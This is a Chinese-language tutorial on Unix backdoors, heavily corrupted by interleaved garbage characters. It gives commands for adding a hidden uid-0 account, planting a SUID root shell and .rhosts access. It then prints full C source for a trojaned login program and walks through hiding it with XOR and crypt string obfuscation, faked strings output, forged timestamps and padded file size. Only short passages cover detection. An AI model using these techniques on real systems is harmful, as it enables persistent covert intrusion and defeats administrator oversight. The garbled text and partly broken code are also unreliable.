后门简介+ F' T. {5 B: G! o: F4 I7 M
. ~7 M5 D! K& r 入侵者完全控制
系统后,为方便下次进入而采用的一种
技术。
4 \# y6 U/ {1 ~: U& X" S. y; [( G* N- |; h- w1 M) ^
一般通过修改系统配置文件和安装第三方后门工具来实现。具有隐蔽性,能绕开系统日志,不易被系统
管理员发现等特点。
5 ]& z# Z0 V+ W! z
4 j5 i3 z. @8 C
常用后门技术& T# B! k' R% ]5 F0 y" o
3 y9 Y0 e* f! ]: V5 B. s 增加超级用户账号
! e! W ~3 }1 b- b% ~- \
破解/嗅探用户密码
' H- R# m' @7 Z' n; n 放置SUIDShell
* d# O, c$ M8 h4 p3 B# N0 z# p rhosts
" f( ^& p! q& J3 R. f2 C9 E 利用系统服务
程序
x4 |) [4 t/ u) { TCP/UDP/ICMPShell
s; d1 Y! w }5 Y/ A& N Crontab定时任务
1 f# A/ V4 w& ~4 m T 共享库文件
+ [; |- t5 z) S2 }+ R. |, S 工具包rootkit
3 ?0 W) n2 k3 K( H
可装载内核模块(LKM)
7 _* V$ q( l) p1 k+ K
; ^; H4 [, z0 g1 e& P 增加超级用户
6 I- c) x. _) D# `$ {, H3 u! n, ~. m) b) {, I7 |' p4 p
: F% s5 z2 ]; I/ Q2 A' y
& S* _$ O# H7 E
5 r5 I, w; Q4 G. w. a4 d# J, I0 i9 j0 X# a" x+ L+ W# n4 r- j
#echo"e4gle:x:0:0::/:/bin/sh"%26gt;%26gt;/etc/passwd
8 n" {( D( [+ {% ]3 W: @# \) ^#echo"e4gle::-1:-1:-1:-1:-1:-1:500"%26gt;%26gt;/etc/shadow
$ t- R' ^6 J/ U& @9 Q' |' z) k 如果系统不允许uid=0的用户远程登录,还需要增加一个普通用户账号。
5 {3 t/ A: F- ~: D* C2 o4 C
2 p' f- W" U) J- H2 e! Y6 A 破解/嗅探用户密码
6 [$ U6 Q5 O% i8 \4 N) V
" [3 r$ n" w& ?. o4 s 获得shadow文件后,用JohntheRipper工具破解薄弱的用户密码。安装sniffit等嗅探工具,监听telnet、ftp等
端口,收集用户密码。
, |! ~$ Q2 b0 z3 l& H2 n
" h6 c! t* m, ^ 放置SUIDShell
}% W8 H% U' y1 f- r( ]) J
, V! P( V; l0 n. v& ] ^. U* r* z s( b
4 K$ D( a' J5 G! ?: K" Q. l1 D- C8 \" X. e ]
- g v: U! I/ _! C$ P- K K
#cp/bin/bash/dev/.root
shell
. R u3 x7 F- O#chmodus/dev/.rootshell
& |. |9 t: o: O
普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。
- J* Z1 y5 B! B; ^$ N7 U
1 @0 R$ `+ U; E8 w
- O; a. L3 I. g+ z$ E7 V
: t7 S; c1 d, S4 A
t: d6 L/ m3 i) [' W" R0 j c4 G, O
rhosts
2 ?2 [3 J) b' |; Q- [
( |: u* f1 R* _( B! h#echo""%26gt;/.rhosts
& S1 ~. b' h9 e$ \& F- t#rsh-lrootvictim.comcsh-i
* n: ~$ U# _. F; Z 远程可以得到一个rootshell。
: f# V6 C* u: Q6 r
- w6 F7 `5 J0 _8 a3 } 利用系统服务程序
. L3 Z; `( A; a0 ?# z- U, d0 O* M
9 J" ?9 l: U, Q3 b/ p 修改/etc/inetd.conf,daytimestreamtcpnowait/bin/shsh-I;用trojan程序替换in.telnetd、in.rexecd等inted的服务程序
6 |7 q: l* Z( M' O# n重定向login程序
M6 ^9 e& M" c; P# b
9 ^" z% i" C/ ~+ H& M' g
TCP/UDP/ICMPShell
4 b& @* m& q; @. B) j5 X( O5 Y
* C" q- \$ x# \ BindShell,大部分是基于TCP/UDP协议的
网络服务程序,在高端口监听,很容易被发现。PingBackdoor,通过ICMP包激活后门,形成一个Shell通道。
6 j0 D" X2 n, ?. n. ~, B) N5 r" p8 l p
TCPACK
数据包后门,能够穿越
防火墙。
U, D9 t) ~% i, u/ j9 C' V; I
2 L- B: y2 Z" ~7 ]# m: [7 [ Crontab定时任务
. o; r) o- {/ ^' B) A# ]! M4 H! ?! ^# A! M6 y: d
通过Crontab程序调度已安装的后门程序定时运行,一般在深夜时段,是系统管理员不在线的
时间。
0 D; V. \4 l% z
$ }9 s+ @+ O$ [: b$ p 共享库文件
% W" ^& F0 @) i' M" {4 P7 O5 V# R0 ~& s2 C/ O% q" a- \ Y/ C
在共享库中嵌入后门函数使用后门口令激活Shell,获得权限能够躲避系统管理员对二进制文件本身的校验
|! }$ s5 f% E$ s7 S+ [
7 `% R3 Y( |4 | 工具包rootkit* G1 x% P/ E! B2 m2 E" [6 w8 X
- L# }5 d' W, U7 }# X
包含一系列系统及后门工具:
Y1 U/ D: ` \# o4 p& U( m: I9 B# s$ t. n/ @2 o0 o1 s4 h; a
-清除日志中的登录记录
/ W+ _& L; B" {8 o$ V2 m5 n
-伪装校验和
" z% Z9 ]& r$ ? ~
-替换netstat、ps等网络工具
; y% C! z+ X; w- F3 V# J -后门登录程序易于安装和使用
+ L3 \) ?! O5 g4 s) R/ j2 e9 h' i6 I8 m5 H! H3 K, a, s
可装载内核模块(LKM)& `" ]/ e! Y7 x
# S5 ^9 { w+ L( m% Z
LKM:LoadableKernelModules动态的加载,不需要重新编译内核。
( F* W& z% P( f8 c/ ?! c
5 A" _1 o- Z! h; }2 U, C: c 截获系统调用,具有隐藏目录、文件、进程、网络连接等强大
功能。
- C% T- Y$ _- @8 R2 c" x9 s3 F* ]
, j' ^; ~9 s5 x9 j4 N9 s9 `* A/ e 自身隐蔽性好,发现难度较大。
4 ?: s/ _$ C X. N& P
' q* Y Z& N% I: j2 t# t 著名的LKM包有adore和knark。
6 Z9 \! E g1 B- A+ \/ p8 ]# U3 G
$ M9 z: G+ R. L9 a 后门的检测
6 `" M0 Y6 A7 d. v6 _: Z, B, ~- E! A' S6 s3 `$ r: a: e) Y
以自己的经验,结合特定的工具,手工作一些检测。
: G$ E# x# \+ `/ W! E
6 ?3 _- h! j0 M0 `$ m1 |3 M. Y8 ` 使用Tripwire或md5校验来检查系统。
" h2 B9 l( i) X+ ?) \; p$ T* w: f. l/ M
借助IDS系统,监听到目标
机器的可疑网络连接。
& W4 m7 f2 {" j
1 | U% e1 i% T) b 实例:login后门- `1 {" o9 ] D: H1 ]
) d; ~- D+ }- U+ ]0 c 入侵者先把原始的/bin/login备份,再用一段程序替换/bin/login。入侵者telnet登录进来的时候,通过
环境变量或者终端
类型
0 d/ p0 U6 C, t; L传递了正确的后门密码,将直接获得一个Shell;如果是普通用户登录,将会重定向到原始的login文件,来处理正常的登录。
% M3 J- U: {/ S
0 o, F0 Z( r% G* ?. f5 U$ |! G" e 最简单的login后门ulogin.c
源代码如下:
4 d/ h8 M" C$ `, n& y3 ~
; r- S" Z2 c/ y2 ?: H 实例:login后门
: `. M/ r* @5 |/ N) K, ?9 I+ p9 o4 R6 ^- w* j- E4 j
* f" B l+ g" H9 k) E0 l5 q( {. X V7 p2 b
: }- z+ P5 |' W( v6 F/ I. ?: N& j5 m, N0 O+ \+ u o
#include%26lt;stdio.h%26gt;
6 | Q3 l# W- i' m2 u* n) l
#definePASSWORD"passWORD"
) x7 z; X! i8 r) R6 L* U p/ M N) d
#define_PATH_LOGIN"/sbin/logins"
% P/ ` \+ @' Q: @7 @1 D, s! |) U5 ?$ D1 T2 z- }3 t
main(argc,argv,envp)
- x7 u/ R4 f; l& P6 U: o. ^
intargc;
" l+ k: ?7 }, @% y8 r) rchar**argv,**envp;
: o X8 y3 a$ W/ _9 P
{
. c) l8 i* V" L- }8 }
char*display=getenv("DISPLAY");
7 R0 B" ]- R \ if(display==NULL){
& J3 G& U4 f9 L4 B4 k execve(_PATH_LOGIN,argv,envp);
8 o. E( R3 {; f
perror(_PATH_LOGIN);
: v) g* f" C$ K& e \: a
exit(1);
: n& @3 l2 y8 [( v }
}
- A( a2 p3 ~- T% W3 }4 x" O: Y
if(!strcmp(display,PASSWORD)){
4 Z9 `5 i1 L# |! c$ J* W0 r
system("/bin/csh");
z0 [1 o. D7 I1 D* a exit(1);
5 v* G2 T8 ^4 @7 B1 Q7 S
}
6 @# c9 A _8 m execve(_PATH_LOGIN,argv,envp);
8 O' V5 Y; e" @1 h5 o8 m
exit(1);
' H% i U4 Q, i1 K+ @; c8 T, p
}
4 F3 S0 }0 i6 P( G7 s% A 利用后门登录
* L4 V+ X7 H7 S1 X) s3 G% A, z$ ?9 P: a7 J
首先Telnet服务是打开的,在自己机器上:
0 | v& a- f% M. J( c8 g
7 A5 p2 F( D1 P. B% d! U+ y. L
1 V# J1 |5 q$ @" a y2 k1 z$ o1 o, b4 r8 i4 ~
) O! |2 q+ S5 w: V( z
& L; }! |2 U& P
bash$exportDISPLAY=passWORD
3 q* l L$ h, j1 Q/ `' abash$telnetvictim.com
8 F+ |- s! \" o2 t6 Y D( A
Tryingxxx.xxx.xxx.xxx...
1 t4 B% u9 w7 t! N/ k! q9 i4 n2 GConnectedtovictim.com(xxx.xxx.xxx.xxx).
2 i6 F! \0 Q1 V: Y2 Y
Escapecharacteris'^]'.
7 ]3 e8 A4 b2 u/ Q9 d u2 v) @%_
\! g8 g3 M7 y( ?& k strings命令
/ E+ I9 Q9 x6 [% o6 G
" m& z6 T Y# N strings命令能够打印出二进制文件中的可显示字符串,用于刚才的ulogin程序:
1 \' o6 k" J! j: a g
, }$ M ~6 W8 r8 j( c+ q
' I% l# n" x' ?
' l3 M6 }# w: \8 x' n, [. @* s u$ W) ~9 _' L( B- ?
" F) u" ?# K: j, [1 [
bash$stringsulogin
& t0 d" e6 \& W. _/lib/ld-linux.so.2
% c! Z- z8 ~# G# s0 `" b# w..............
& ]6 U% W/ B' N6 t! XDISPLAY
$ l+ f, V6 T" O. p1 U
/sbin/logins
2 W5 i# {$ J0 [- ^/ H/ J" k! a. m
passWORD
c- x$ x6 j. L. s/ n p, s" t
/bin/csh
y6 U5 F; `8 ], u
加密后门密码
, q2 C- |" t9 b* Y4 E2 ]) S+ l0 R: F: i( j4 f3 y
1,采用DES
算法,即crypt()函数,编写gen.c程序:
+ p# ^: |5 c' p; d4 U, y
) v' H4 d6 p7 \! \! x) Y9 I3 C, G, f; z0 P1 p# x& _8 y
4 B q" N) J. K" d1 Z) K; @1 D8 T5 t' ]- h5 i- k# c) J }9 }
- N1 \0 J" H. B+ H#include%26lt;unistd.h%26gt;
; X, q/ `7 S2 V# e2 o* j$ w$ j( gmain(intargc,char*argv[])
7 [- H; A' ], O2 F{
& N6 O; y- n6 e8 L' ~2 ~; p
if(argc!=3){
5 T+ c- |. e* a* d- S6 `printf("usage:%s%26lt;password%26gt;%26lt;salt%26gt;\n",argv[0]);
' q$ W/ V5 J: }
exit(1);
2 S" t2 y/ j' {7 u
}
7 m7 a [& k2 A# z+ Hprintf("%s\n",crypt(argv[1],argv[2]));
% j9 k. x8 ? x7 r/ v1 Z6 Z
}
( o, n& ~4 N. X' c% c4 v6 z2 ` 2、编译为gen,执行./genhackui,得到的shadow结果为UiVqMWvDrIQjA。
a- V/ [9 q# p# r6 W
+ D7 |) q% E: s8 [, R/ @ 3、修改后门源程序ulogin.c:
4 M, l2 N5 P6 N/ g. `
! V5 V: P+ {) v8 {- n) B --以密文形式的密码代替ulogin.c中define的宏PASSWORD值。
5 C9 }! i6 o5 Y+ b, F
! V# f- A N3 Y D' @5 O --如果后门密码正确,直接给出Shell:
; P- | K1 n) A* i, _
7 u; p4 Z) o( u% [
( K. z1 [" L) F% M5 O9 o) B5 e7 b. ]: z7 q$ E) I3 [( \
8 c. D5 A4 E1 T$ u! Z" P5 ^" `. r% G: D/ s3 N9 o5 @
if(!strcmp(PASSWORD,crypt(display,PASSWORD)))
D A0 Q+ u5 G z
{
$ ~* N6 L* v# E& C# psystem(SHELL);
9 `5 W7 g( z. }8 c! V* ?' t
exit(1);
. o) ^0 P5 c8 ^# O0 J8 f# Y}
9 q* U/ j# I. q7 H
用strings命令只能看到加密过的密码。
) ]6 I, O5 X# g) Q4 g/ t2 H3 p: n! D+ w; V! e
采用异或(XOR)算法
( L6 ?1 m8 \ ?9 @" V( U+ t
( `% I+ G1 K8 K% O4 T0 ^ 以十六进制方式表示字符串,以达到non-printable的效果
/ M2 x% D% x# a6 g* w/ u; y( Q% b( @. w4 R7 t- n. [
1、编码程序encode.c如下:
] G& b8 A) Z5 J" D+ [
4 ~' `: R% \. P( V7 v L1 {+ [
0 \6 k, I6 A8 R3 W2 R
! W( S4 l8 U7 e' c0 ~9 G* H1 j. y" j5 u
; z5 l# `7 m/ G1 Q2 v: \$ ~& R
' \6 H2 V/ [$ g, ^1 r8 O& ocharmagic[]="\x71\x67\x6d\x7a\x65\x61\x7a";
; |9 V) H# R1 X& p# p( k
char*de(char*str,char*key)
1 ^8 R" ~/ c; J2 m* K" p( O% p
{
/ e' o8 x6 D7 ]4 @5 }3 U9 _% K7 }
inti=0,j=0,len;
1 ^5 b, o/ x( ~% Z K s8 s
len=strlen(key);
# u. b s5 Q# |2 K4 n/ ^/ t( x0 Uwhile(str
!='\0'){8 m, T B" M. L5 @) D) f5 h4 }
str^=key[j];* B1 t7 `9 r% Y$ [, [- T& l
j;- P! V, j0 a8 }$ V7 n6 G. y# u
if(j==len)j=0;% X2 z* d1 i9 x% d. Q& `+ P
i;, w& c" x# q: K+ A( `; r: u
}
! C2 ?; v7 v! Creturnstr;
% J2 y7 _' h; X+ z}
; y" q0 E) A6 gvoiddisplay(char*str)
( \' ]' H! z3 I1 E# w9 U{% o# h$ p3 @+ D
inti;
7 e) j6 L f9 V/ L; o5 Hfor(i=0;i%26lt;strlen(str);i)printf("\\x%x",str);: {. z: a: m- E8 r1 }( R
printf("\n");
& b. B4 H2 _' w2 F% x1 I}
7 \- `4 k' a! Q. Nmain()3 n! J2 `7 G4 u, s
{
+ G G y4 O6 ^% ~$ Zchargets[100],*ptr;# P: P& e) ^7 P8 E: e
ptr=gets;0 ^+ L. s. |/ _) Z
scanf("%s",ptr);
" [4 i8 ^9 ?! X; @de(ptr,magic);display(ptr);
0 c/ q+ L2 e. h" W: E}
. Z8 B9 W' ~4 e! W 2、编译程序encode,依次执行得到关键字符串与magic串异或后的结果,例如原始login的文件名/sbin/xlogin,经过异或后为:; c' `/ n+ @) b
\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb
1 h8 Z" t4 r( {: i; _
2 ^0 h( m0 {: s 3、在后门源代码中这样定义:* s4 ~/ q3 _% e7 M& q) [
% V/ D6 z$ `% e- J m% ~
* g' f' X+ B5 R& k$ T3 l7 ]" ?- \: k2 Q* a1 L/ X
' |: o" H2 M) `* \5 w$ s
8 Q# v* o; @$ K4 R/ QChar
2 E, W7 D9 X3 l8 qlogin[]="\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb";. w* \! n! e9 Y0 [) h
然后插入异或函数char*de()结合同一magic串,就能判断出正确的后门密码。
# U$ _4 L& v9 b; z: ^: }0 X0 j- f! [; n6 x
用strings命令看不到密码、路径等字符串了。
7 U. c0 Y$ q, w% F! k) n4 y9 `2 h; Y* D3 X
最后的修饰* v" M: q1 m. o4 e0 w( n
* F$ w( y; t M1 H 使后门程序ulogin的strings输出类似于正常login的strings输出,做法为:" [$ q- L; e$ N# q$ H- D% w( u
& w$ C9 X' I$ _" `1 X6 G
在ulogin.c代码中增加一个字符串数组charstrings[]="";,在引号中填入正常login程序的strings输出结果。2 s& p% _3 @4 \3 B, ?$ f3 f/ a6 V8 c
3 P1 {( b8 I" j+ C- d+ q& _
以假乱真,增加迷惑性。' |5 N" N' C6 m2 R& T! T v0 C6 L
1 |/ B7 b6 j% A+ T0 d
调整后门程序的文件日期、大小等属性:
, q0 V/ z8 n, \# J; Q9 m
+ ^7 j& _" V+ _# q 1、日期
1 ^( U) S7 ~/ [: z1 z7 L& h
/ Y6 p+ h% M% M7 e# x1 x6 J, U6 y: l+ t
; j( z+ X& [* F3 Z
4 w' _: X( l* q: A1 w: {" d
$ B7 H0 |9 B, f/ P#ls-l/sbin/xlogin. J7 B7 b2 u' k
[color=#FFFFFF']
' J1 v) x" @( E5 h( e8 G7 E6 Z6 k, [. d
-r-sr-xr-xrootroot19300Feb111998
) H2 e8 o8 q" S) d7 g$ [/sbin/xlogin& }9 W+ P9 h. S3 p2 l* }2 o+ |
#touch-t199802110000ulogin. q: @) h- C. b7 j( }
#_
2 }, t1 l5 |6 r& F8 Z$ \ 2、调整大小
2 X+ Z4 W- }0 a ^; ]/ k4 T3 M+ r% Q8 K2 Y
7 _6 A/ \- I: `. d5 u- w/ L7 a
' b8 K% K d3 R' W
: }( T+ Y9 k/ P2 K* H1 u' X% _8 K1 Q& J
#ls-lulogin/sbin/xlogin" f: a6 r; d$ M) T6 S, a
-r-sr-xr-xrootroot7542Feb111998ulogin4 J+ Y+ V8 z' r5 X
-r-sr-xr-xrootroot19300Feb111998/sbin/xlogin3 C/ c* y: G6 ^- I& C
#bc
+ N0 K% C$ m0 L! M19300-7542
, \: C& ?. t" a" t117587 q: q) ?2 Q0 @" \" P5 T
#ddif=/sbin/xloginof=/tmp/tbs=11758count=1
z. P( u/ v7 M- S# n' j10recordsin: P5 c9 t; e, d9 S
10recordsout- }$ ]9 b. c0 A7 H
11758bytestransferredin0.000379secs(31016746
. x* L2 D' `( dbytes/sec)4 u2 Z t; i& a6 M" Y7 ~2 k
#cat/tmp/t%26gt;%26gt;ulogin; x2 {" k% G+ N6 X! j$ p) D) X
( E. E4 v& u% S" I/ H$ z
Login后门的检测
% J7 j+ Q, a+ R1 {' P; n {. K, `8 _3 h v; l
使用命令md5sum对现有/bin/login文件作校验,与以前的值作比较。% i! {. L' X+ n8 ]
: o5 M5 [' S7 A. R
使用RedHatLinux的RPM校验:' J/ \0 j# B: Y K5 ?6 M7 n
* u+ v5 l1 N& t
#rpm-Vutil-linux5 \6 j) V% c8 b3 g% r0 Y
4 M8 H# H2 F* r) [) R
在入侵者已经利用后门登录的情况下,who是看不到用户的,查看系统进程,查找login-hxxx.xxx.xxx.xxx的字样。